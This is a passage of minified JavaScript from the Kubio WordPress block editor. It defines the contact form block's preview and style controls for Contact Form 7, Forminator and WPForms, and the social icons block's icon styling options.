notice","kubio"),supports:{styles:kx,states:["normal"]}},[mx]:{label:(0,We.__)("Info notice","kubio"),supports:{styles:kx,states:["normal"]}},[hx]:{label:(0,We.__)("Success notice","kubio"),supports:{styles:kx,states:["normal"]}},[bx]:{internal:!0},[sx]:{internal:!0},[gx]:{internal:!0}},vx={error:(0,We.__)("This is a error preview text.","kubio"),info:(0,We.__)("This is a info preview text.","kubio"),success:(0,We.__)("This is a success preview text.","kubio")},xx={error:"wpcf7-mail-sent-ng",info:"wpcf7-dummy-info",success:"wpcf7-mail-sent-ok"},Cx={error:"forminator-error",info:"forminator-loading",success:"forminator-success"},Ix=e=>{e.preventDefault(),e.stopPropagation()},Ex=(0,De.compose)((0,Ne.withColibriDataAutoSave)((e=>{const t=e.getAttribute("useShortcodeStyle"),o=e.getAttribute("shortcode",""),n=(0,Me.useMemo)((()=>ex(o)),[o]),a=(e,t)=>{switch(n){case Zv.CONTACT_FORM_7:((e,t)=>{const o=e.querySelector(".wpcf7-response-output");o&&(o.classList.remove("wpcf7-display-none"),je().each(xx,(e=>{o.classList.remove(e)})),xx[t]&&o.classList.add(xx[t]),vx[t]&&(o.innerText=vx[t]))})(e,t);break;case Zv.FORMINATOR:((e,t)=>{const o=e.querySelector(".forminator-response-message");o&&(o.classList.add("h-visible"),je().each(Cx,(e=>{o.classList.remove(e)})),Cx[t]&&o.classList.add(Cx[t]),vx[t]&&(o.innerText=vx[t]),(e=>{const t=e.querySelectorAll(".forminator-error-message");Array.prototype.forEach.call(t,(function(e){e.parentNode.removeChild(e)}))})(e),"error"===t)&&e.querySelectorAll("[aria-required=true]").forEach((e=>{const t=document.createElement("span");t.innerText=(0,We.__)("Validation error sample","kubio"),t.classList.add("forminator-error-message"),e.parentNode.appendChild(t)}))})(e,t);break;case Zv.WP_FORM:((e,t)=>{"success"===t?(e.querySelector(".wpforms-container").classList.toggle("h-hidden",!0),e.querySelector(".wpforms-confirmation-container-full").classList.toggle("h-hidden",!1)):(e.querySelector(".wpforms-container").classList.toggle("h-hidden",!1),e.querySelector(".wpforms-confirmation-container-full").classList.toggle("h-hidden",!0))})(e,t)}},i={tag:"kubio_contact_form",attrs:{named:{use_shortcode_style:t?1:0,shortcode:(0,Ne.encodeShortcodeData)(o)}}},r=e.getContextProp("currentState"),s=je().get(r,"notice"),l=je().get(r,"button"),u=je().get(r,"fields");return{shortcode:e.useAttributePath("shortcode"),shortcodeTag:i,useShortcodeStyle:t,onShortcodeUpdate:e=>{if(t)return;const o=null==e?void 0:e.current;if(o){(e=>{const t=null==e?void 0:e.current;t&&je().toArray(t.querySelectorAll(Sv)).forEach((e=>{try{"TEXTAREA"===e.tagName&&(e.value="Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua."),"INPUT"===e.tagName&&(e.value=(0,We.__)("Preview Value","kubio"))}catch(e){}}))})(e);try{a(o,s)}catch(e){}}},noticeCurrentState:s,buttonCurrentState:l,fieldsCurrentState:u}})),(0,Ne.withStyledElements)((({computed:e}={})=>{const{useShortcodeStyle:t}=e;return{[rx]:{disableStyleClasses:t,className:()=>{const e=[];return t?e.push("kubio-no-style"):e.push("kubio-use-style"),e}},[sx]:{disableStyleClasses:t}}})),Ne.withIsSelected),Tx=Ex((e=>{const{computed:t,StyledElements:o,dataHelper:n}=e,{shortcode:a,shortcodeTag:i,noticeCurrentState:r,onShortcodeUpdate:s}=t,l=(0,Me.useRef)(null);return(0,Me.useEffect)((()=>{a.value&&s(l)}),[r]),(0,Je.jsxs)(o.FormWrapper,{children:[a.value&&(0,Je.jsx)(o.FormContainer,{ref:l,children:(0,Je.jsx)(Tv,{shortcode:i,onRefresh:()=>{s(l);const e=l.current,t=null==e?void 0:e.querySelector("form");t&&t.addEventListener("submit",Ix)}})}),!a.value&&(0,Je.jsx)(ix,{dataHelper:n})]})})),Sx=(0,Ne.withComputedData)((()=>({defaultTextAlign:(0,bt.useInheritedTextAlign)()})))((({computed:e,dataHelper:t})=>{const{defaultTextAlign:o}=e;return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Contact form properties","kubio"),children:[(0,Je.jsx)(Dv,{formListStore:qi,useFormApi:Xi,dataHelper:t,supportedPlugins:ox.supportedPlugins}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Use plugin's style","kubio"),path:"useShortcodeStyle",type:Ne.WithDataPathTypes.ATTRIBUTE}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Form elements align","kubio"),path:"textAlign",defaultValue:o,type:Ne.WithDataPathTypes.STYLE,style:rx})]})})),wx=Sx,Px=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(wx,{})}),Ax=()=>{const e={type:Ne.WithDataPathTypes.STYLE,style:rx};return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Form container","kubio"),children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Background color","kubio"),path:"background.color",...e}),(0,Je.jsx)(ut.BoxUnitValueControlWithPath,{label:(0,We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0,...e})]})},jx=(0,Ne.withComputedData)((e=>{const t=(0,bt.useInheritedTextAlign)();return{defaultTextAlign:e.getStyle("textAlign",t,{styledComponent:rx})}}))((({computed:e})=>{const t={type:Ne.WithDataPathTypes.STYLE,style:ux},{defaultTextAlign:o}=e;return(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Labels","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",type:Ne.WithDataPathTypes.STYLE,...t}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",type:Ne.WithDataPathTypes.STYLE,...t}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:"Text align",useContentAlignIcons:!1,defaultValue:o,path:"textAlign",...t})]})})),Bx=jx,Nx=(0,Ne.withComputedData)((e=>{const t=e.useContextPath("currentState.fields"),o="form-fields",n={styledComponent:cx},a={...n,state:t.value};return{currentState:t,getFormData:(0,bt.useGetFormDataWithInherited)({dataHelper:e,storeOptions:n,globalFormElement:o}),getFormDataWithState:(0,bt.useGetFormDataWithInherited)({dataHelper:e,storeOptions:a,globalFormElement:o})}}))((({computed:e})=>{const{currentState:t,getFormData:o,getFormDataWithState:n}=e,a={type:Ne.WithDataPathTypes.STYLE,style:cx};return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Fields","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.ToggleGroup,{options:ox.fieldsStates.options,...t}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Background color","kubio"),path:"background.color",state:t.value,...n("background.color"),...a}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",state:t.value,...n("typography.color"),...a}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Border color","kubio"),path:["border.top.color","border.right.color","border.bottom.color","border.left.color"],state:t.value,...n("border.top.color"),...a}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",nodeType:!1,type:Ne.WithDataPathTypes.STYLE,...a,...o("typography")}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BoxUnitValueControlWithPath,{label:(0,We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0,...a,...o("padding")}),(0,Je.jsx)(ut.BoxUnitValueControlWithPath,{label:(0,We.__)("Margin","kubio"),path:"margin",...a,...o("margin")}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BordersAndRadiusWithPath,{path:"border",withColor:!1,...a,...o("border")})]})})),Ox=Nx,Rx=(0,Ne.withComputedData)((e=>{const t=e.useContextPath("currentState.button"),o="form-submit-button",n={styledComponent:px},a={...n,state:t.value},i=(0,bt.useGetFormDataWithInherited)({dataHelper:e,storeOptions:n,globalFormElement:o}),r=(0,bt.useGetFormDataWithInherited)({dataHelper:e,storeOptions:a,globalFormElement:o});return{currentState:t,buttonAlign:{value:e.getStyle("textAlign",null,{styledComponent:px}),onChange:t=>{const o={styledComponent:px};switch(e.setStyle("textAlign",t,o),t){case"left":e.setStyle("marginLeft","0",o),e.setStyle("marginRight","auto",o);break;case"center":e.setStyle("marginLeft","auto",o),e.setStyle("marginRight","auto",o);break;case"right":e.setStyle("marginLeft","auto",o),e.setStyle("marginRight","0",o)}},onReset:()=>{const t={styledComponent:px,unset:!0};e.setStyle("marginLeft",null,t),e.setStyle("marginRight",null,t),e.setStyle("textAlign",null,t)}},getFormData:i,getFormDataWithState:r}}))((({computed:e})=>{const{currentState:t,getFormData:o,getFormDataWithState:n,buttonAlign:a}=e,i={type:Ne.WithDataPathTypes.STYLE,style:px};return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Submit button","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.ToggleGroup,{options:ox.buttonStates.options,...t}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Background color","kubio"),path:"background.color",state:t.value,...n("background.color"),...i}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",state:t.value,...n("typography.color"),...i}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Border color","kubio"),path:["border.top.color","border.right.color","border.bottom.color","border.left.color"],state:t.value,...n("border.top.color"),...i}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{nodeType:!1,path:"typography",type:Ne.WithDataPathTypes.STYLE,...i,...o("typography")}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BoxUnitValueControlWithPath,{label:(0,We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0,...i,...o("padding")}),(0,Je.jsx)(ut.BordersAndRadiusWithPath,{path:"border",withColor:!1,...i,...o("border")}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BoxShadowWithPath,{path:"boxShadow",showReset:!0,...i,...o("boxShadow")}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.HorizontalTextAlign,{label:(0,We.__)("Button align","kubio"),...a})]})})),Dx=Rx,Lx={info:"infoNotice",error:"errorNotice",success:"successNotice"},Mx=(0,Ne.withComputedData)((e=>{const t=e.getContextProp("currentState.notice"),o={styledComponent:Lx[t]},n=e.getAttribute("shortcode",""),a=(0,Me.useMemo)((()=>ex(n)),[n]),i=(0,Me.useMemo)((()=>tx(a)),[a]).wpForm&&"success"!==t;return{currentNoticeState:t,onChangeCurrentNoticeState:t=>{e.setContextProp("currentState.notice",t)},borderColor:{value:e.getStyle("border.top.color",void 0,o),onChange:t=>{const n=(0,Ze.setSidesData)("color",t);e.setStyle("border",n,o)}},showCFUnsupportedNotice:i}}))((({computed:e})=>{const{borderColor:t,currentNoticeState:o,onChangeCurrentNoticeState:n,showCFUnsupportedNotice:a}=e,i={type:Ne.WithDataPathTypes.STYLE,style:Lx[o]};let r;return r=a?(0,Je.jsx)(ut.ControlNotice,{content:(0,We.__)("These properties are not supported by current form type","kubio")}):(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Typography color","kubio"),path:"typography.color",...i}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Background color","kubio"),path:"background.color",...i}),(0,Je.jsx)(ut.ColorIndicatorPopover,{showReset:!0,label:(0,We.__)("Border color","kubio"),value:t.value,onChange:t.onChange}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",...i}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BoxUnitValueControlWithPath,{label:(0,We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0,...i}),(0,Je.jsx)(ut.BoxUnitValueControlWithPath,{label:(0,We.__)("Margin","kubio"),path:"margin",...i}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BordersAndRadiusWithPath,{path:"border",withColor:!1,...i})]}),(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Notices","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.ToggleGroup,{options:ox.notices.options,value:o,onChange:n}),r]})})),Wx=Mx,Hx=(0,Ne.withComputedData)((e=>{const t=e.getAttribute("shortcode",""),o=e.getContextProp("currentState.notice")===ox.notices.values.ERROR,n=(0,Me.useMemo)((()=>ex(t)),[t]);return{currentStateIsError:o,formIs:(0,Me.useMemo)((()=>tx(n)),[n])}}))((({computed:e})=>{const t={type:Ne.WithDataPathTypes.STYLE,style:bx},{formIs:o,currentStateIsError:n}=e;return n&&(o.forminator||o.contactForm)?(0,Je.jsxs)(Re.PanelBody,{title:(0,We.__)("Validation errors","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Background color","kubio"),path:"background.color",...t}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Text color","kubio"),path:"typography.color",...t}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",...t}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.BoxUnitValueControlWithPath,{label:(0,We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0,...t}),(0,Je.jsx)(ut.BoxUnitValueControlWithPath,{label:(0,We.__)("Margin","kubio"),path:"margin",...t})]}):(0,Je.jsx)(Je.Fragment,{})})),Gx=Hx,Ux=()=>(0,Je.jsxs)(Oe.StyleInspectorControls,{children:[(0,Je.jsx)(Ax,{}),(0,Je.jsx)(Bx,{}),(0,Je.jsx)(Ox,{}),(0,Je.jsx)(Dx,{}),(0,Je.jsx)(Wx,{}),(0,Je.jsx)(Gx,{})]}),Fx=(0,De.compose)((0,Ne.withComputedData)((e=>({usePluginStyle:e.getAttribute("useShortcodeStyle",!1)}))),Ne.withPropsChecker)((function({computed:e,...t}){const{usePluginStyle:o}=e,{isLoading:n,formOptions:a}=(e=>{const{formOptions:t,isLoading:o}=(0,Le.useSelect)((t=>{const{getFormOptions:o,getLoading:n}=t(e);return{formOptions:o(),isLoading:n()}}),[]);return{isLoading:o,formOptions:(0,Ne.useDeepMemo)((()=>t),[t])}})(qi);return(0,Je.jsxs)(Je.Fragment,{children:[o&&(0,Je.jsx)(Oe.BlockInspectorTopControls,{children:(0,Je.jsx)("div",{className:"kubio-editing-header",children:(0,Je.jsx)(ut.ControlNotice,{content:(0,We.__)("Contact form is using plugin style","kubio")})})}),(0,Je.jsx)(Px,{}),(0,Je.jsx)(Ux,{}),(0,Je.jsx)(Tx,{...t,isLoading:n,formOptions:a})]})})),zx=Fx,Vx=(0,We.__)("Add a contact form to any page and customize its header, fields, and call to action with ease.","kubio");(0,Pe.addFilter)("kubio.savePresetInCloud.beforeSave","contactForm",(e=>(e.name!==hn.CONTACT_FORM||(je().unset(e,"attributes.shortcode"),je().unset(e,"attributes.formId")),e)));const Yx={name:"kubio/contact",category:"kubio-components",attributes:{kubio:{type:"object"},shortcode:{type:"string",default:""},formId:{type:"string",default:""},useShortcodeStyle:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{validationErrors:{background:{color:"#F9E4E8"},typography:{color:"#E04562",fontSize:{unit:"px",value:12},fontWeight:500,lineHeight:{unit:"em",value:2}},padding:{top:{unit:"px",value:2},right:{unit:"px",value:10},bottom:{unit:"px",value:2},left:{unit:"px",value:10}},margin:{top:{unit:"px",value:5},right:{unit:"px",value:0},bottom:{unit:"px",value:16},left:{unit:"px",value:0}}},submitButton:{textAlign:"left"}}}},elementsEnum:{FORM_CONTAINER:"formContainer",FORM_WRAPPER:"formWrapper",FORM_TYPOGRAPHY:"formTypography",LABELS:"labels",FIELDS:"fields",SUBMIT_BUTTON:"submitButton",ERROR_NOTICE:"errorNotice",INFO_NOTICE:"infoNotice",SUCCESS_NOTICE:"successNotice",VALIDATION_ERRORS:"validationErrors",PLACEHOLDER:"placeholder"},elementsByName:{formWrapper:{wrapper:!0},formContainer:{default:!0},formTypography:{selector:".h-contact-form-shortcode, p, label, input, select, textarea"},labels:{selector:" label,p label,.wpcf7-not-valid-tip, .wpcf7-list-item-label, .forminator-ui .forminator-row .forminator-col label, form.forminator-ui .forminator-label"},fields:{selector:'.wp-block-kubio-contact__formContainer textarea, form.forminator-ui .forminator-row .forminator-col textarea.forminator-textarea, .wp-block-kubio-contact__formContainer select, .wp-block-kubio-contact__formContainer input:not([type="file"]):not([type="radio"]):not([type="checkbox"]):not([type="submit"])'},submitButton:{selector:'[type="submit"], .forminator-ui .forminator-row .forminator-col .forminator-button-submit'},errorNotice:{selector:".wpcf7-mail-sent-ng, .wpcf7-aborted, .wpcf7-form.failed .wpcf7-response-output, .wpcf7-form.aborted .wpcf7-response-output, .wpcf7-validation-errors, .wpcf7-form.invalid .wpcf7-response-output, .wpcf7-form.unaccepted .wpcf7-response-output,form.forminator-ui .forminator-response-message.forminator-error"},infoNotice:{selector:"form:not(.invalid):not(.unnaccepted):not(.failed) .wpcf7-response-output:not(.wpcf7-mail-sent-ok):not(.wpcf7-mail-sent-ng), form.forminator-ui .forminator-response-message.forminator-loading"},successNotice:{selector:".wpcf7-mail-sent-ok, .wpcf7 form.sent .wpcf7-response-output, .wpforms-confirmation-container-full, .wpforms-confirmation-container, form.forminator-ui .forminator-response-message.forminator-success"},validationErrors:{selector:".forminator-row .forminator-col .forminator-error-message, form .wpcf7-not-valid-tip"}},template:{type:"element",props:{disableStyleClasses:"computed.disableStyleClasses",name:"formWrapper"},children:[{type:"element",props:{shouldRender:"computed.renderContainer",disableStyleClasses:"computed.disableStyleClasses",name:"formContainer"}},{type:"element",props:{name:"placeholder",shouldRender:"computed.renderPlaceholder"}}]}}}},$x=(e=>t=>{const o=t.getAttribute("shortcode"),n=t.getAttribute("formId"),{shortcodeControlType:a}=e,i=o&&!n?a.values.SHORTCODE:a.values.FORM;return{currentState:{notice:e.notices.default,button:e.buttonStates.default,fields:e.fieldsStates.default},shortcodeControlType:i}})(ox),Kx=(0,Sn.extendBlockMeta)(Yx,{title:(0,We.__)("Contact Form","kubio"),keywords:[(0,We.__)("form","kubio"),(0,We.__)("contact","kubio")],icon:Tn.BlockIcons.Contact,apiVersion:2,supports:{kubio:{elementsByName:fx},reusable:!1,html:!1},edit:zx,contextPropsDefault:$x,variationsFilter:e=>null!=e&&e.isDefault?{...e,description:Vx}:e}),qx={OUTER:"outer",ICON:"icon"},Xx={[qx.OUTER]:{label:(0,We.__)("List","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.NONE}},[qx.ICON]:{label:(0,We.__)("Icons","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.BASIC,filters:{background:{types:["none","gradient"]}}}}},Qx={NORMAL:"normal",HOVER:"hover"},Zx={styleTypeOptions:[{value:"official",label:(0,We.__)("Official","kubio")},{value:"shared",label:(0,We.__)("Shared","kubio")},{value:"individual",label:(0,We.__)("Individual","kubio")}],objectColorIcons:[{name:"facebook",color:"rgb(59,89,152)"},{name:"twitter",color:"rgb(29,161,242)"},{name:"linkedin",color:"rgb(0,119,181)"},{name:"youtube",color:"rgb(255,0,0)"},{name:"whatsapp",color:"rgb(37,211,102)"},{name:"tumblr",color:"rgb(54,70,93)"},{name:"instagram",color:"rgb(195,42,163)"},{name:"snapchat",color:"rgb(255,252,0)"},{name:"pinterest",color:"rgb(189,8,28)"},{name:"reddit",color:"rgb(255,69,0)"},{name:"foursquare",color:"rgb(249,72,119)"},{name:"stumbleupon",color:"rgb(233,72,38)"},{name:"viadeo",color:"rgb(240,115,85)"},{name:"deviantart",color:"rgb(5,204,71)"},{name:"flickr",color:"rgb(244,0,131)"},{name:"vimeo",color:"rgb(26,183,234)"},{name:"google",color:"rgb(219,68,55)"},{name:"medium",color:"rgb(2,184,117)"},{name:"behance",color:"rgb(23,105,255)"},{name:"wordpress",color:"rgb(61,139,187)"}],stateToggle:{values:Qx,options:[{label:(0,We.__)("Normal","kubio"),value:Qx.NORMAL},{label:(0,We.__)("Hover","kubio"),value:Qx.HOVER}]}},Jx=(0,Ne.withComputedData)(((e,t)=>{const o=e.withParent().getProp("styleType","shared");return{afterIconChange:t=>{const n=t.split("/").pop();if("official"===o){const o=Zx.objectColorIcons.find((e=>e.name===n||e.name+"-square"===n));if(void 0===o.color)return;e.setAttribute("icon.name",t),e.setStyle("fill",o.color,{styledComponent:"icon"})}}}}))((e=>{const{computed:t}=e,{afterIconChange:o}=t;return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.IconPickerWithPath,{path:"icon.name",type:Ne.WithDataPathTypes.ATTRIBUTE,afterIconChange:o}),(0,Je.jsx)(ut.LinkControlWithData,{})]})})),eC=(0,Me.createContext)({}),tC=()=>(0,Me.useContext)(eC),oC=(0,Ne.withComputedData)((e=>({iconGetter:e=>e.getAttribute("icon.name","")})))((e=>{const{panelLabel:t,addButtonText:o=(0,We.__)("Add Icon","kubio"),computed:n}=e,{currentActiveItem:a,setCurrentActiveItem:i}=tC(),{iconGetter:r}=n;return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)(ut.KubioPanelBody,{title:t,className:"social-icons-sortable",children:[(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{path:"textAlign",type:"style",style:qx.SPACING}),(0,Je.jsx)(ut.SortableCollapseGroupWithData,{activeItems:[a],selectItem:!0,iconGetter:r,addButtonText:o,allowMultipleExpanded:!1,onSelect:e=>i(e.id),children:e=>(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:e.clientId,children:(0,Je.jsx)(Jx,{})})})]})})})),nC=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(oC,{panelLabel:(0,We.__)("Social Icons Properties","kubio")})}),aC=[hn.SOCIAL_ICON],iC=(0,De.compose)((0,Le.withSelect)(((e,t)=>{const{getBlocks:o}=e("core/block-editor");return{hasInnerBlocks:!!o(t.clientId).length}})),(0,Ne.withColibriDataAutoSave)(Ae.noop),(0,Ne.withStyledElements)(Ae.noop)),rC=iC((e=>{const{StyledElements:t,hasInnerBlocks:o,clientId:n}=e,{removeBlock:a}=(0,Le.useDispatch)("core/block-editor");(0,Me.useEffect)((()=>{o||a(n)}),[o]);const i=bn({},{allowedBlocks:aC,orientation:"vertical",renderAppender:!1});return(0,Je.jsx)(t.Outer,{...i})})),sC="link",lC="icon",uC={[sC]:{label:(0,We.__)("Link","kubio"),internal:!0,supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.NONE}},[lC]:{label:(0,We.__)("Icon","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:jn.StatesPresetsEnum.BASIC,filters:{background:{types:["none","gradient"]},border:{showReset:!0}}}}},cC={NORMAL:"normal",HOVER:"hover"},pC={styleTypeOptions:[{value:"official",label:(0,We.__)("Official","kubio")},{value:"shared",label:(0,We.__)("Shared","kubio")},{value:"individual",label:(0,We.__)("Individual","kubio")}],objectColorIcons:[{name:"facebook",color:"rgb(59,89,152)"},{name:"twitter",color:"rgb(29,161,242)"},{name:"linkedin",color:"rgb(0,119,181)"},{name:"youtube",color:"rgb(255,0,0)"},{name:"whatsapp",color:"rgb(37,211,102)"},{name:"tumblr",color:"rgb(54,70,93)"},{name:"instagram",color:"rgb(195,42,163)"},{name:"snapchat",color:"rgb(255,252,0)"},{name:"pinterest",color:"rgb(189,8,28)"},{name:"reddit",color:"rgb(255,69,0)"},{name:"foursquare",color:"rgb(249,72,119)"},{name:"stumbleupon",color:"rgb(233,72,38)"},{name:"viadeo",color:"rgb(240,115,85)"},{name:"deviantart",color:"rgb(5,204,71)"},{name:"flickr",color:"rgb(244,0,131)"},{name:"vimeo",color:"rgb(26,183,234)"},{name:"google",color:"rgb(219,68,55)"},{name:"medium",color:"rgb(2,184,117)"},{name:"behance",color:"rgb(23,105,255)"},{name:"wordpress",color:"rgb(61,139,187)"}],stateToggle:{values:cC,options:[{label:(0,We.__)("Normal","kubio"),value:cC.NORMAL},{label:(0,We.__)("Hover","kubio"),value:cC.HOVER}]}},dC={type:Ne.WithDataPathTypes.STYLE,style:lC},mC=(0,De.compose)((0,Le.withSelect)(((e,{clientId:t})=>({parentClientId:e("core/block-editor").getBlockRootClientId(t)}))),(0,Ne.withObserveOtherBlocks)(((e,{parentClientId:t})=>t)),(0,Ne.withComputedData)(((e,t)=>{const{getBlockAttributes:o}=(0,Le.useSelect)("core/block-editor"),n=e.withParent(),[a,i]=(0,Me.useState)(pC.stateToggle.values.NORMAL),r={styledComponent:lC},s=e=>n.getStyle(e,"",r),l=n.getProp("styleType","shared"),u={value:l,onChange:t=>{hC({oldStyleType:l,newStyleType:t,parentDataHelper:n,selectedChildDataHelper:e})}},c={normal:(0,bt.useInheritedTypographyValue)("a","color"),hover:(0,bt.useInheritedTypographyValue)("a","states.hover.color")},p={value:e.getStyle("size",s("size"),r)};return{iconSpacing:{value:e.getStyle("margin.right",s("margin.right"),r)},iconPadding:{value:e.getStyle("padding.right",s("padding.right"),r)},styleType:u,borderColor:c,iconSize:p,currentState:a,setCurrentState:i,parentDataHelper:n}}))),hC=({oldStyleType:e,newStyleType:t,parentDataHelper:o,selectedChildDataHelper:n})=>{const a=o.withChildren(),i=n||a[0],r={styledComponent:"icon"},s={...r,fromRoot:!0},l={...r,mergeData:!1},u=()=>{const e=o.getProp("backupColors"),t=(null==e?void 0:e.normal)||"rgba(0, 0, 0, 0.5)",n=(null==e?void 0:e.hover)||"rgba(var(--kubio-color-1),1)",i={...r,state:"normal"},s={...r,state:"hover"};o.setStyle("fill",t,i),o.setStyle("fill",n,s),a.forEach((e=>{e.unsetStyle("fill",null,i),e.unsetStyle("fill",null,s)}))},c=()=>{const e=o.getStyle("",{},s),t=i.getStyle("",{},s),n=je().merge({},e,t);a.forEach((e=>{e.unsetStyle("",null,l)})),o.setStyle("",n,l)},p="official"===e,d="individual"===e;switch(t){case"official":d&&c(),(()=>{const e={normal:o.getStyle("fill",null,{...r,state:"normal"}),hover:o.getStyle("fill",null,{...r,state:"hover"})};o.setProp("backupColors",e)})(),a.forEach((e=>{const t=e.getAttribute("icon").name.split("/").pop(),o=pC.objectColorIcons.find((e=>e.name===t||e.name+"-square"===t));var n,a;o&&(n=o.color,(a=e).setStyle("fill",n,{...r,state:"normal"}),a.setStyle("fill",n,{...r,state:"hover"}))}));break;case"individual":p&&u(),(()=>{const e=o.getStyle("",{},s);a.forEach((t=>{t.setStyle("",e,l)})),o.unsetStyle("",null,l)})();break;case"shared":p&&u(),d&&c()}o.setProp("styleType",t)},bC=mC((e=>{const{computed:t,clientData:o}=e,{clientId:n}=o,{iconSpacing:a,iconPadding:i,styleType:r,borderColor:s,iconSize:l,currentState:u,setCurrentState:c,parentDataHelper:p}=t,d="individual"!==r.value?p.clientId:n;return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Icon style","kubio"),initialOpen:!0,children:[(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Style type","kubio"),options:pC.styleTypeOptions,...r}),(0,Je.jsxs)(Oe.DataHelperContextFromClientId,{clientId:d,children:[(0,Je.jsx)(ut.SeparatorHorizontalLine,{fit:!1}),(0,Je.jsx)(ut.ToggleGroup,{label:(0,We.__)("State","kubio"),options:pC.stateToggle.options,value:u,onChange:c}),"official"!==r.value&&(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Icon color","kubio"),showReset:!0,path:"fill",...dC,state:u}),(0,Je.jsx)(ut.GradientColorPickerWithPath,{label:(0,We.__)("Icon background","kubio"),showReset:!0,path:"background",...dC,state:u}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Border color","kubio"),showReset:!0,path:["border.top.color","border.bottom.color","border.left.color","border.right.color"],...dC,state:u,defaultValue:s[u]}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{fit:!1}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Icon size","kubio"),capMin:!0,path:"size",style:lC,...l}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Icon spacing","kubio"),max:50,path:"margin.right",style:lC,...a}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Icon padding","kubio"),capMin:!0,path:["padding.top","padding.bottom","padding.left","padding.right"],max:50,style:lC,...i}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{fit:!1}),(0,Je.jsx)(ut.BordersAndRadiusWithPath,{type:"style",style:lC,path:"border",withColor:!1})]})]})})})),gC=bC,yC={type:Ne.WithDataPathTypes.STYLE,style:lC},kC=(0,Ne.withComputedData)((e=>{const t=e.withChildren(),o=null==t?void 